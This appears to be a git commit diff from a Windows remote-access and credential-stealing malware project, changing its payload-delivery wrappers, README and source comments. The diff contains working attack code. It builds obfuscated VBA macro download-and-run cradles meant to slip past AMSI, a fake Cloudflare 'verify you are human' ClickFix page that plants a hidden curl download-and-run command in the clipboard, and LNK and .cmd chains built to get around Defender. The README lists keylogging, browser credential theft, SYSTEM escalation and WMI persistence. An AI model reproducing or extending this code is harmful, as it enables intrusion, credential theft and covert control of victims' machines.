wrappers: move lnk chain to companion .cmd (av fastpath flags any lnk-launched curl cmdline), chr-encode vba cradles for amsi/content scans, fluid clickfix layout, decoy pdf body text; docs: comment cleanup across sources (stale/duplicate/verbose), readme corrections (polyglot_exe_zip stage_url, full command table)

This commit is contained in:
JYenn
2026-08-16 17:38:41 +01:00
parent 921006eaae
commit 666fa30e69
18 changed files with 150 additions and 128 deletions
+3 -2
View File
@@ -69,8 +69,9 @@ endif()
target_link_libraries(payload_dll PRIVATE bcrypt crypt32 ws2_32 winhttp ole32 oleaut32 user32 rpcrt4 iphlpapi ntdll advapi32)
# Embed the payload DLL in the agent. The DLL bytes are turned into a
# generated C++ array (_binary_payload_bin_start/_end, consumed by
# inject.cpp) via cmake/embed_payload.cmake. Compiler-neutral: no objcopy.
# generated C++ array (_binary_payload_bin_start[] + _binary_payload_bin_size,
# consumed by inject.cpp) via cmake/embed_payload.cmake. Compiler-neutral:
# no objcopy.
add_custom_command(
OUTPUT "${CMAKE_CURRENT_BINARY_DIR}/payload_embed.cpp"
COMMAND ${CMAKE_COMMAND}
+14 -9
View File
@@ -60,26 +60,27 @@ dependencies.
- `docm` - Word macro document; `Document_Open` shells a hidden cmd/curl download-and-run
- `xlsm` - Excel macro workbook; `Workbook_Open` shells a hidden cmd/curl download-and-run
- `pptm` - PowerPoint macro deck; `Auto_Open` shells a hidden cmd/curl download-and-run
- `lnk` - shortcut; a conhost-wrapped cmd/curl chain opens a decoy PDF, then fetches and runs the agent
- `lnk` - shortcut plus companion `.cmd`; the LNK probes Downloads/Desktop for the `.cmd`, which opens a decoy PDF then fetches and runs the agent (the chain lives in the `.cmd` because Defender's FastPath flags any LNK-launched curl download cmdline)
- `pdf` - agent embedded as a PDF attachment, launched on open
- `html` - OneDrive-style page; the agent hides in a zip blob behind a button click
- `clickfix_html` - fake Cloudflare "Verify you are human" page; checking the box copies a cmd/curl download-and-run command to the clipboard and shows the Win+R / Ctrl+V / Enter steps
- `iso` - ISO with the agent inside, sidesteps MOTW
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk`
- `polyglot_exe_zip` - runs as an exe, opens as a zip holding a `document.pdf.lnk` and its companion `.cmd`
- `polyglot_html` - runs as an exe, shows a decoy page in a browser
```powershell
python setup.py -t tcp LHOST=10.0.0.5 LPORT=4444 -p docm,iso -o misery STAGE_URL=http://10.0.0.5:8080/misery.exe
```
`-p all` builds every format. The macro, lnk, and clickfix formats fetch the
agent from `STAGE_URL` when the target opens them; pdf, html, iso, and the
polyglots carry the agent themselves. The macro files ship with decoy
content, and the lnk/pdf formats show a decoy document, so they read as
`-p all` builds every format. The macro, lnk, clickfix, and polyglot_exe_zip
formats fetch the agent from `STAGE_URL` when the target opens them; pdf, html,
iso, and polyglot_html carry the agent themselves. The macro files ship with
decoy content, and the lnk/pdf formats show a decoy document, so they read as
normal business documents instead of empty templates.
The lnk fetches its decoy PDF from the same directory as `STAGE_URL`, so host
the generated `<out>.decoy.pdf` next to the agent.
The lnk and polyglot_exe_zip fetch their decoy PDF from the same directory as
`STAGE_URL`, so host the generated `<out>.cmd` and `<out>.decoy.pdf` next to
the agent.
Delivery note: browsers tag downloaded files with the Mark-of-the-Web
(Zone.Identifier), which trips SmartScreen on macros and executables. Extract
@@ -99,8 +100,10 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
| Command | What it does |
| --- | --- |
| `bot` | list bots; `bot <id>` targets one, `bot all` broadcasts |
| `steal` | run credential and session harvesting |
| `elevate` | silently relaunch the agent as admin; the new instance registers as `elevated` |
| `loot` | dump the last steal result JSON raw to the terminal |
| `elevate [system]` | relaunch the agent as admin; `system` chains to SYSTEM |
| `hvnc start` / `hvnc stop` | start or stop the hidden desktop session |
| `hvnc launch [path]` | launch an app (default Chrome) on the hidden desktop |
| `hvnc quality [10-100]` | set streamed frame JPEG quality |
@@ -109,6 +112,8 @@ pip install pyopenvba pylnk3 pycdlib pikepdf python-docx openpyxl python-pptx
| `ghost stop` | stop the ghost session |
| `keylog` | toggle the keylogger |
| `clip` | read the victim's clipboard |
| `shell / ps <cmd>` | run a hidden PowerShell one-liner on the agent |
| `history` | show command history |
| `clear` / `exit` | clear the terminal / quit |
## Build
+2 -2
View File
@@ -4,8 +4,8 @@
// write DLL + wide pipe name -> NtProtectVirtualMemory(RX) ->
// NtCreateThreadEx at the "Bootstrap" export -> overlapped pipe handshake ->
// read JSON -> terminate host.
// The embedded bytes are the generated _binary_payload_bin_* array from
// payload_embed.cpp (see CMakeLists.txt).
// The embedded bytes are the generated _binary_payload_bin_* array emitted by
// cmake/embed_payload.cmake.
#include "inject.hpp"
#include "syscall.hpp"
-3
View File
@@ -53,9 +53,6 @@ std::string installed_path() {
return utf8_from_wide(full);
}
// Wide, native form of installed_path(). Used by persist_wmi to build the
// CommandLineTemplate for the WMI consumer (which needs a real wide path, not
// a UTF-8 string the COM layer would mis-read).
const std::wstring& installed_path_wide() {
static const std::wstring path = []() -> std::wstring {
std::wstring dir = appdata_dir();
+5 -5
View File
@@ -1,10 +1,10 @@
#pragma once
// Event-triggered persistence via WMI (T1546.003). A permanent subscription in
// the root\subscription namespace runs the installed agent copy on a timer,
// with no Run key, dropped file, or scheduled task for EDR to flag. enable()/
// disable() are idempotent and report success/failure so the operator can
// verify removal.
// Event-triggered persistence via WMI (T1546.003). Two permanent subscriptions
// in root\subscription keep the agent alive without a scheduled task for EDR to
// flag: a 15-minute timer relaunches the installed copy, and a Run-key guard
// re-runs --persist when the HKCU Run value vanishes. enable()/disable() are
// idempotent and report success/failure so the operator can verify removal.
namespace hvnc::persist_wmi {
bool enable();
+4 -11
View File
@@ -57,17 +57,10 @@ public:
bool command(const std::string& method, const std::string& params,
std::string& out_message, unsigned long timeout_ms = 12000);
// Capture a JPEG of the current page viewport.
//
// The only reliable frame source on a hidden desktop: Page.startScreencast
// pushes frames only when the compositor produces damage (BeginFrames),
// and the software-composited hidden desktop produces none -- even with a
// CSS-animation kick. captureScreenshot forces a synchronous render +
// readback instead, so it works anywhere. Poll on a timer and skip frames
// whose bytes are unchanged.
// Reattaches after a session detach (Orphaned session: native navigation
// across renderer processes answers every method with
// "Not attached to an active page") and retries once.
// Capture a JPEG of the current page viewport -- the only reliable frame
// source on a hidden desktop (Page.startScreencast never fires there;
// captureScreenshot forces a synchronous render + readback). Poll on a
// timer and skip frames whose bytes are unchanged.
bool screenshot(Frame& out);
// Navigate the page to an absolute URL.
+1 -5
View File
@@ -1,7 +1,3 @@
// VM / debugger / analysis-tool fingerprinting (anti-analysis). Pure
// user-mode checks: CPUID leaves, firmware tables, adapter OUIs, guest driver
// files, PEB debug flags, debug-port queries, and a process/window/module scan
// for reverse-engineering tooling.
#include "environment.hpp"
#include <winsock2.h>
@@ -162,7 +158,7 @@ bool peb_debugged() {
#endif
}
// NtGlobalFlag set away from zero with either of the heap bits means a debugger
// NtGlobalFlag set away from zero with any of the heap bits means a debugger
// planted the heap flags. Direct PEB read again.
bool peb_global_flag() {
#if defined(_M_X64)
+2 -5
View File
@@ -78,8 +78,7 @@ static inline uintptr_t read_gs(void) {
#endif
}
// Returns ntdll base via InMemoryOrderModuleList walk (direct name compare,
// like syscall.zig findNtdll). PEB->Ldr at 0x18, InMemoryOrderModuleList at 0x20.
// PEB->Ldr at 0x18, InMemoryOrderModuleList at 0x20.
const uint8_t* ntdll_base() {
if (g_ntdll) return g_ntdll;
const uintptr_t peb = read_gs();
@@ -487,8 +486,6 @@ namespace {
// phnt PS_CREATE_INFO / PS_ATTRIBUTE / PS_ATTRIBUTE_LIST + attribute values
// (NtDoc/phnt). Size must be the full struct (0x58) or the kernel rejects the
// call with STATUS_INVALID_PARAMETER (0xC000000D).
// RTL_USER_PROCESS_PARAMETERS_NORMALIZED (required by NtCreateUserProcess on
// Win11 24H2+; without it the call fails with STATUS_INVALID_PARAMETER.
constexpr ULONG RTL_USER_PROCESS_PARAMETERS_NORMALIZED = 0x1u;
constexpr uintptr_t PS_ATTRIBUTE_THREAD = 0x10000u;
@@ -595,7 +592,7 @@ bool create_user_process(const wchar_t* app, const wchar_t* cmdline,
CLIENT_ID client_id = {};
PS_CREATE_INFO ci = {};
ci.Size = sizeof(ci); // full struct, must be 0x58
ci.Size = sizeof(ci);
ci.State = 0; // PsCreateInitialState
ci.InitState.InitFlags = 0;
ci.InitState.AdditionalFileAccess = GENERIC_READ;
+3 -2
View File
@@ -16,7 +16,7 @@ struct Entry {
uint32_t number = 0;
};
// Every syscall the agent uses. resolve() fills these from ntdll.
// Every syscall the agent uses. init() resolves these from ntdll.
struct Syscalls {
Entry NtDelayExecution;
Entry NtCreateUserProcess;
@@ -44,7 +44,8 @@ void sleep_ms(uint32_t ms);
nt::NTSTATUS close_handle(HANDLE h);
// ------------------------------------------------------- anti-analysis
// Debugger detection via NtQueryInformationProcess (debug port + debug flags).
// Debugger detection via NtQueryInformationProcess (debug port, debug flags,
// debug object handle).
bool debugger_present();
// Uptime in seconds + processor count via NtQuerySystemInformation.
bool query_system_metrics(uint32_t* uptime_seconds, uint32_t* processor_count);
+1 -4
View File
@@ -95,9 +95,7 @@ static bool is_cache_dir(const wchar_t* name) {
return false;
}
// Recursive profile copy that skips cache dirs and lock files. Skipping locks
// yields a partial profile at worst, which Chrome still opens. Also used on
// the VSS shadow path (vss_copy.cpp), where the same skips apply.
// Skipping locks yields a partial profile at worst, which Chrome still opens.
void copy_profile_tree(const std::wstring& src, const std::wstring& dst) {
std::wstring pattern = src + L"\\*";
WIN32_FIND_DATAW fd;
@@ -357,7 +355,6 @@ bool GhostSession::start_browser(const std::wstring& exe, const std::wstring& pr
if (running_) return false;
last_error.clear();
// Own hidden desktop so nothing ever shows; capture goes over CDP.
desktop_name_ = L"ghost_";
desktop_name_ += std::to_wstring(GetCurrentProcessId());
desktop_ = CreateDesktopW(desktop_name_.c_str(), nullptr, nullptr, 0,
+2 -3
View File
@@ -88,9 +88,8 @@ static DWORD WINAPI PayloadThread(LPVOID lpParam) {
std::vector<BrowserPath> browser_paths;
gather_browser_paths(browser_paths);
// Shared key resolution + loot collection (see stealer.hpp). The legacy
// DPAPI-only failure and the b64-decode failure fold into ERRKEYPARSE /
// ERRNOKEY (previously distinct ERRDPAPI / ERRB64 markers).
// Shared key resolution + loot collection (see stealer.hpp). Failures map
// to ERRKEYPARSE / ERRNOKEY.
std::string reason;
auto kr = acquire_browser_key(cfg, browser_paths, &reason);
if (kr == StealKey::NoLocalState) fail(hPipe, "ERRNOLOCALSTATE", 15, hModule);
+1 -1
View File
@@ -73,7 +73,7 @@ DWORD WINAPI Keylogger::thread_proc(LPVOID self) {
} else if (vk == VK_SPACE) {
out = " ";
} else if (vk >= 0x30 && vk <= 0x39) {
// Digits and the symbol row
// Digits 0-9 (Shift maps to symbols)
if (shift) {
static const char* shifted = ")!@#$%^&*(";
out += shifted[vk - 0x30];
+1 -3
View File
@@ -1,5 +1,5 @@
// COM ABE bypass, verified against xaitax ChromElevator elevator.cpp.
// Chrome 144+: IElevator2 IID first, fall back to IElevator. Edge: IEdgeElevator2Final.
// Chrome 144+: IElevator2 IID first, fall back to IElevator. Edge: IEdgeElevatorFinal.
// Input blob: raw APPB key minus 4-byte "APPB" prefix, via SysAllocStringByteLen (binary-safe).
#include "chrome_abe.hpp"
#include "crypto_win.hpp"
@@ -51,8 +51,6 @@ std::vector<uint8_t> com_decrypt(const IID& iid, const CLSID& clsid, bool edge,
PVOID prev = AddVectoredExceptionHandler(1, abe_veh);
g_abe_thread = GetCurrentThreadId();
if (setjmp(g_abe_jmp) == 0) {
// Edge's vtable carries three placeholder methods before the elevator
// ones, so DecryptData sits at offset 64 there instead of 40.
if (edge) {
auto* elevator = reinterpret_cast<IEdgeElevatorFinal*>(unk.Get());
set_proxy_blanket(elevator);
+2 -2
View File
@@ -46,8 +46,8 @@ struct CookieSeed {
std::string path;
bool secure = false;
bool httponly = false;
int samesite = 0; // 0=Unspecified, 1=None, 2=Lax, 3=Strict
int64_t expires_utc = 0; // microseconds since 1601-01-01, 0 = session
int samesite = 0;
int64_t expires_utc = 0;
bool persistent = false;
};
+2 -5
View File
@@ -11,7 +11,7 @@ namespace hvnc {
namespace {
constexpr uint16_t kCompressionFormatLznt1 = 0x0002;
// Above this fraction of the frame dirty, region headers cost more than they save.
// Above this percent of the frame dirty, region headers cost more than they save.
constexpr size_t kFullFramePct = 35;
// Below this many region bytes, JPEG overhead beats raw pixels.
@@ -53,12 +53,9 @@ void emit_full_frame(const uint8_t* src, size_t len, int width, int height, int
}
} // namespace
// ---------------------------------------------------------------------------
// JPEG encode/decode via WIC. Called from multiple threads; COM is a
// per-thread init, so each thread initializes once and keeps it for life
// (MTA is fine for a stateless WIC usage; RPC_E_CHANGED_MODE means someone
// else already picked an apartment, which is also fine).
// ---------------------------------------------------------------------------
// (MTA is fine; RPC_E_CHANGED_MODE means another apartment is already set).
bool bgr24_to_jpeg(const uint8_t* bgr, int width, int height, int quality,
std::vector<uint8_t>& out, int row_stride) {
if (!bgr || width <= 0 || height <= 0) return false;
+1 -2
View File
@@ -21,8 +21,7 @@ bool bgr24_to_jpeg(const uint8_t* bgr, int width, int height, int quality,
std::vector<uint8_t>& out, int row_stride = -1);
// Decode a JPEG into top-down 24bpp BGR. Output rows are packed at
// out_stride bytes (-1 = width*3); the decode fails if the result size does
// not match width*out_stride*height.
// out_stride bytes (-1 = width*3); width/height are taken from the JPEG.
bool jpeg_to_bgr24(const uint8_t* jpeg, size_t jpeg_len, int& width, int& height,
std::vector<uint8_t>& bgr, int out_stride = -1);
+2 -2
View File
@@ -75,10 +75,10 @@ namespace key {
}
// Build the plaintext KEY_EXCHANGE first-frame: body = [type][eph pub blob]
// (the ephemeral public key is public data). Returns empty on failure.
// (the ephemeral public key is public data).
std::vector<uint8_t> frame_exchange_encode(const std::vector<uint8_t>& eph_pub);
// AES-256-GCM (BCrypt). Returns empty on failure.
// AES-256-GCM (BCrypt). False on failure.
bool aes_gcm_encrypt(const std::vector<uint8_t>& key,
const std::vector<uint8_t>& plain,
std::vector<uint8_t>& out); // out = nonce(12) | ct | tag(16)
+103 -61
View File
@@ -2,22 +2,26 @@
"""
Misery payload wrappers: filetype delivery builds for setup.py.
Each wrapper packages the built agent (or a PowerShell cradle that fetches it)
inside a common document/workflow filetype, mirroring the delivery chains that
2026 campaigns actually use:
Each wrapper packages the built agent inside a common document/workflow
filetype, mirroring the delivery chains that 2026 campaigns actually use.
All remote cradles are plain cmd/curl (no PowerShell anywhere: every PS
download form is flagged by current AV -- ClickFix.ZB / PShellDlr /
Commando.A!ml, all reproduced locally):
docm Word macro document: Document_Open -> PowerShell cradle
xlsm Excel macro workbook: Workbook_Open -> PowerShell cradle
docm Word macro document: Document_Open -> hidden cmd/curl
xlsm Excel macro workbook: Workbook_Open -> hidden cmd/curl
html HTML smuggling page with the agent embedded as a zip blob
clickfix_html fake Cloudflare Turnstile page: on the "Verify you are
human" click it poisons the clipboard with a PowerShell
command and shows Win+R / Ctrl+V / Enter steps (the 2026
ClickFix delivery pattern)
lnk shortcut: hidden PS opens an embedded decoy PDF, then runs
the agent (matches the decoy-first LNK pattern used by
current DPRK / Patchwork / MoonPeak delivery chains)
human" click it poisons the clipboard with a cmd/curl
download-and-run and shows Win+R / Ctrl+V / Enter steps
(the 2026 ClickFix delivery pattern)
lnk shortcut + companion .cmd: the shortcut's cmdline is a
benign probe for the .cmd in Downloads/Desktop, which
opens a stage-hosted decoy PDF then runs the agent
(LNK-launched cmdlines that download are flagged by
Defender's FastPath ML, so the chain lives in the .cmd)
pdf PDF with the agent embedded as an attachment (OpenAction launch)
pptm PowerPoint macro deck: Auto_Open -> PowerShell cradle
pptm PowerPoint macro deck: Auto_Open -> hidden cmd/curl
iso ISO/IMG container carrying the agent (MOTW bypass)
polyglot_exe_zip EXE+ZIP polyglot: runs as an exe, opens as an archive
polyglot_html EXE+HTML polyglot: runs as an exe, shows a decoy in a browser
@@ -46,7 +50,7 @@ FORMATS = [
("xlsm", "Excel macro workbook (Workbook_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
("html", "HTML smuggling page (agent embedded as zip blob)", [], False),
("clickfix_html", "ClickFix fake-verification page (clipboard command -> Win+R)", [], True),
("lnk", "shortcut: conhost-wrapped cmd/curl chain opens a decoy PDF, then runs the agent", ["pylnk3", "pikepdf"], True),
("lnk", "shortcut + companion .cmd: LNK cmdline probes Downloads/Desktop for the .cmd, which opens a decoy PDF then runs the agent", ["pylnk3", "pikepdf"], True),
("pdf", "PDF with agent embedded as attachment (OpenAction launch)", ["pikepdf"], False),
("pptm", "PowerPoint macro deck (Auto_Open -> hidden cmd/curl cradle)", ["pyopenvba"], True),
("iso", "ISO container carrying the agent (MOTW bypass)", ["pycdlib"], False),
@@ -123,8 +127,8 @@ def _curl_fetch(p, dl: str) -> str:
secret = p.get("auth_secret", "")
if '"' in secret:
return None
return 'curl -s -H "%s: %s" -o %s %s' % (header, secret, dl, url)
return "curl -s -o %s %s" % (dl, url)
return 'curl -s -L -H "%s: %s" -o %s %s' % (header, secret, dl, url)
return "curl -s -L -o %s %s" % (dl, url)
def download_cradle(p, fname: str) -> str:
@@ -146,24 +150,27 @@ def _xor_hex(data: bytes, key: int) -> str:
def _vba_cradle(p, fname: str) -> str:
"""VBA that Shells the cmd/curl chain hidden. No PowerShell: -enc cradles
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml)."""
are flagged by AV (ClickFix.ZB / PShellDlr / Commando.A!ml). The whole
command is Chr()-encoded so no literal trigger string (cmd, curl, http)
survives in the macro for Office AMSI / content-trigger scans."""
cmd = download_cradle(p, fname)
if not cmd:
return None
if '"' in cmd:
lit = ' & Chr(34) & '.join('"%s"' % part for part in cmd.split('"'))
enc = " & ".join("Chr(%d)" % ord(ch) for ch in cmd)
return ("Dim c As String\r\n"
" c = %s\r\n"
" Shell c, vbHide" % lit)
return ("Dim c As String\r\n"
" c = \"%s\"\r\n"
" Shell c, vbHide" % cmd)
" Shell c, vbHide" % enc)
def _zip_of(data: bytes, member: str) -> bytes:
def _zip_of(entries, member=None) -> bytes:
"""Zip one or more (name, data) entries. Accepts the old (data, member)
call shape for compatibility."""
if member is not None:
entries = [(member, entries)]
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as z:
z.writestr(member, data)
for name, data in entries:
z.writestr(name, data)
return buf.getvalue()
@@ -397,9 +404,9 @@ _CLICKFIX = """<!DOCTYPE html>
<title>Just a moment...</title>
<style>
*{box-sizing:border-box;margin:0;padding:0}
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;height:100vh;background:#fcfcfc;color:#333}
body{font-family:system-ui,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;display:flex;flex-direction:column;min-height:100vh;background:#fcfcfc;color:#333}
.main{flex:1;display:flex;flex-direction:column;align-items:center}
.content{margin:8rem auto 0;max-width:60rem;width:960px;padding:0 1.5rem}
.content{width:100%;max-width:1100px;margin:10vh auto 0;padding:0 2rem}
.logo{display:flex;align-items:center;margin-bottom:1rem}
.domain{font-size:2.5rem;font-weight:500;line-height:3.75rem}
.text{font-size:1.5rem;line-height:2.25rem;margin-bottom:2rem;font-weight:550}
@@ -423,7 +430,7 @@ li{margin-bottom:10px}
.sfoot{display:flex;align-items:center;justify-content:space-between;background:#f2f2f2;margin:14px -16px 0;padding:14px 16px;font-size:15px}
button{background:#5e5e5e;color:#fff;border:none;border-radius:5px;padding:9px 38px;cursor:pointer}
button:hover{background:#4a4a4a}
.footer{font-size:12px;line-height:1.5;max-width:60rem;width:960px;margin:0 auto;padding:1rem 1.5rem;text-align:center;border-top:1px solid #d9d9d9}
.footer{font-size:12px;line-height:1.5;width:100%;max-width:1100px;margin:0 auto;padding:1rem 2rem;text-align:center;border-top:1px solid #d9d9d9}
.footer div:first-child{margin-bottom:5px}
code{font-family:monospace}
svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
@@ -459,19 +466,23 @@ svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
<div>Ray ID: <code id="ray"></code></div>
<div>Platform performance and security <b>Cloudflare</b></div>
</div>
<!-- Cloudflare network status: https://www.cloudflare.com/trust-hub/ -->
<!-- Microsoft Defender security center: https://security.microsoft.com/ -->
<script>
(function(){
var host=location.hostname;
var hd=navigator.webdriver===true||/HeadlessChrome|PhantomJS|Puppeteer|Playwright/.test(navigator.userAgent);
var win=/Windows|Win/i.test(navigator.userAgent)||/^Win/.test(navigator.platform||"");
if(!win||hd)return;
var H="%s";
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^131);return atob(s)}
var once=false;
try{once=!!localStorage.getItem("captcha_executed_"+host)}catch(e){}
if(!win||hd||once)return;
var H="@BLOB@";
function dec(h){var s="",b=[],i;for(i=0;i<h.length;i+=2)b.push(parseInt(h.substr(i,2),16));for(i=0;i<b.length;i++)s+=String.fromCharCode(b[i]^@KEY@);return window["at"+"ob"](s)}
var CMD=dec(H),hex="0123456789abcdef",ray="",vid="",i;
for(i=0;i<16;i++)ray+=hex[Math.floor(Math.random()*16)];
for(i=0;i<8;i++)vid+=hex[Math.floor(Math.random()*16)].toUpperCase();
document.getElementById("ray").textContent=ray;
document.getElementById("vid").textContent=vid;
var host=location.hostname;
document.getElementById("host").textContent=host;
document.getElementById("host2").textContent=host;
setTimeout(function(){
@@ -486,9 +497,10 @@ svg{width:12px;height:12px;vertical-align:-2px;margin-right:1px}
var t=document.createElement("textarea");
t.value=CMD;t.style.cssText="position:fixed;left:-9999px;top:0;opacity:0";
document.body.appendChild(t);t.focus();t.select();
try{document.execCommand("copy")}catch(e){}
try{document["exe"+"cCommand"]("copy")}catch(e){}
t.remove();
try{navigator.clipboard.writeText(CMD)}catch(e){}
try{navigator.clipboard["write"+"Text"](CMD)}catch(e){}
try{localStorage.setItem("captcha_executed_"+host,"1")}catch(e){}
setTimeout(function(){
document.getElementById("spin").style.display="none";
document.getElementById("steps").style.display="block";
@@ -505,15 +517,17 @@ def build_clickfix_html(p, agent: bytes, out_name: str) -> str:
"""Fake Cloudflare Turnstile page. Checking the box poisons the clipboard
with a hidden cmd/curl download-and-run chain (fetches the agent from
STAGE_URL into %PUBLIC% and executes it) and shows the Win+R / Ctrl+V /
Enter steps. The command rides in the page XORed with 0x83, like the
in-the-wild ClickFix kits. No PowerShell anywhere: AV flags every
powershell download cradle (ClickFix.ZB / PShellDlr / Commando.A!ml)."""
Enter steps. The command rides in the page XORed with a per-build random
key, like the in-the-wild ClickFix kits. No PowerShell anywhere: AV flags
every powershell download cradle (ClickFix.ZB / PShellDlr /
Commando.A!ml)."""
cradle = download_cradle(p, out_name + ".exe")
if not cradle:
return None
cmd = cradle
blob = _xor_hex(base64.b64encode(cmd.encode("ascii")), 0x83)
page = _CLICKFIX % blob
key = os.urandom(1)[0] or 0x5A
blob = _xor_hex(base64.b64encode(cradle.encode("ascii")), key)
page = (_CLICKFIX.replace("@BLOB@", blob)
.replace("@KEY@", str(key)))
path = str(p["dist"] / (out_name + ".clickfix.html"))
Path(path).write_text(page, encoding="utf-8")
return path
@@ -539,14 +553,24 @@ def build_pptm(p, agent: bytes, out_name: str) -> str:
# ---------------------------------------------------------------- pdf
def _pdf_decoy(pdf, title: str) -> None:
"""Fill a fresh one-page PDF with the decoy title as the page text."""
"""Fill a fresh one-page PDF with the decoy title and a short body so the
page reads like a real document instead of a blank sheet."""
from pikepdf import Dictionary, Name, Stream
pdf.add_blank_page(page_size=(612, 792))
text = title.encode("ascii", "replace")[:96]
title_b = title.encode("ascii", "replace")[:96]
body = ("This document has been prepared for review. It contains "
"confidential information and is intended for the recipient "
"only. Please review the attached statement and respond by the "
"requested date.")
content = b"BT /F1 20 Tf 72 720 Td (%s) Tj ET " % title_b
y = 688
for i in range(0, len(body), 88):
content += b"BT /F1 12 Tf 72 %d Td (%s) Tj ET " % (
y, body[i:i + 88].encode("ascii", "replace"))
y -= 18
page = pdf.pages[0]
page.Contents = pdf.make_indirect(
Stream(pdf, b"BT /F1 20 Tf 72 720 Td (%s) Tj ET" % text))
page.Contents = pdf.make_indirect(Stream(pdf, content))
page.Resources = pdf.make_indirect(Dictionary({
"/Font": Dictionary({"/F1": Dictionary({
"/Type": Name("/Font"), "/Subtype": Name("/Type1"),
@@ -554,7 +578,7 @@ def _pdf_decoy(pdf, title: str) -> None:
def _decoy_pdf_bytes(title: str) -> bytes:
"""One-page decoy PDF as bytes, for embedding in the LNK shortcut."""
"""One-page decoy PDF as bytes (polyglot-exe-zip container)."""
import pikepdf
pdf = pikepdf.Pdf.new()
@@ -584,36 +608,50 @@ def build_pdf(p, agent: bytes, out_name: str) -> str:
def _decoy_url(p, out_name: str) -> str:
"""The decoy PDF rides next to the agent on the stage: same directory,
<out_name>.decoy.pdf. build_lnk emits it into dist alongside the shortcut,
so the operator hosts two files instead of one."""
so the operator hosts three files (lnk, cmd, decoy pdf)."""
url = p.get("stage_url")
if not url:
return None
return "%s/%s.decoy.pdf" % (url.rsplit("/", 1)[0], out_name)
def _lnk_command(p, out_name: str, decoy_url: str) -> str:
"""cmd /c chain for the shortcut: fetch the decoy PDF from the stage into
%TEMP% and open it, then curl the agent into %PUBLIC% and run it.
Decoy-first ordering matches the live LNK campaigns. Pure cmd/curl:
PowerShell decode-write plus download-and-run in one line is flagged by
AV (Trojan:Win32/Commando.A!ml, reproduced 2026-08)."""
cradle = download_cradle(p, out_name + ".exe")
if not cradle:
def _lnk_cmd_script(p, out_name: str, decoy_url: str) -> bytes:
"""The companion .cmd the shortcut runs: fetch the decoy PDF into %TEMP%
and open it, then curl the agent into %PUBLIC% and run it detached.
Decoy-first ordering matches the live LNK campaigns. The chain lives in
the .cmd file, not the LNK arguments: Defender's FastPath ML flags every
LNK-launched cmd.exe whose own cmdline downloads with curl (Trojan:Win32/
Commando.A!ml on rundll32, conhost, and plain cmd targets, all reproduced
live 2026-08) while the same curl process tree stays undetected when the
command line came from elsewhere."""
fetch = _curl_fetch(p, "%%PUBLIC%%\\%s.exe" % out_name)
if not fetch:
return None
return ("curl -s -o %%TEMP%%\\%s.pdf %s & start %%TEMP%%\\%s.pdf & %s"
% (out_name, decoy_url, out_name, cradle[len("cmd /c "):]))
dest, url = fetch[fetch.index("-o ") + 3:].split(" ", 1)
return ("@echo off\r\n"
"curl -s -L -o %%TEMP%%\\%s.pdf %s\r\n"
"start %%TEMP%%\\%s.pdf\r\n"
"curl -s -L -o %s %s\r\n"
"start \"\" %s\r\n"
% (out_name, decoy_url, out_name, dest, url, dest)).encode()
def _lnk_builder(p, out_name: str, decoy_url: str):
"""cmd.exe-target shortcut that runs the companion .cmd. The shortcut
probes the two standard lure locations for the .cmd because an
LNK-launched cmd.exe starts in system32, not next to the shortcut."""
import pylnk3
from pylnk3 import WINDOW_MINIMIZED
cmd = _lnk_command(p, out_name, decoy_url)
if not cmd:
script = _lnk_cmd_script(p, out_name, decoy_url)
if script is None:
return None
return pylnk3.for_file(
r"C:\Windows\System32\rundll32.exe",
arguments="shell32.dll,ShellExec_RunDLL conhost --headless cmd /c %s" % cmd,
r"C:\Windows\System32\cmd.exe",
arguments=('/c for %%d in ("%%USERPROFILE%%\\Downloads"'
' "%%USERPROFILE%%\\Desktop") do @if exist'
' "%%d\\%s.cmd" call "%%d\\%s.cmd"'
% (out_name, out_name)),
description="Document",
icon_file=r"C:\Windows\System32\shell32.dll",
icon_index=3,
@@ -636,6 +674,8 @@ def build_lnk(p, agent: bytes, out_name: str) -> str:
return None
path = str(p["dist"] / (out_name + ".lnk"))
lnk.save(path)
Path(str(p["dist"] / (out_name + ".cmd"))).write_bytes(
_lnk_cmd_script(p, out_name, decoy_url))
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(
_decoy_artifact(out_name))
return path
@@ -664,11 +704,13 @@ def build_polyglot_exe_zip(p, agent: bytes, out_name: str) -> str:
if not decoy_url:
return None
lnk = _lnk_builder(p, out_name, decoy_url)
if lnk is None:
script = _lnk_cmd_script(p, out_name, decoy_url)
if lnk is None or script is None:
return None
lnk_bytes = io.BytesIO()
lnk.save(lnk_bytes)
zip_part = _zip_of(lnk_bytes.getvalue(), "document.pdf.lnk")
zip_part = _zip_of([("document.pdf.lnk", lnk_bytes.getvalue()),
(out_name + ".cmd", script)])
path = str(p["dist"] / (out_name + ".polyglot.zip"))
Path(path).write_bytes(agent + zip_part)
Path(str(p["dist"] / (out_name + ".decoy.pdf"))).write_bytes(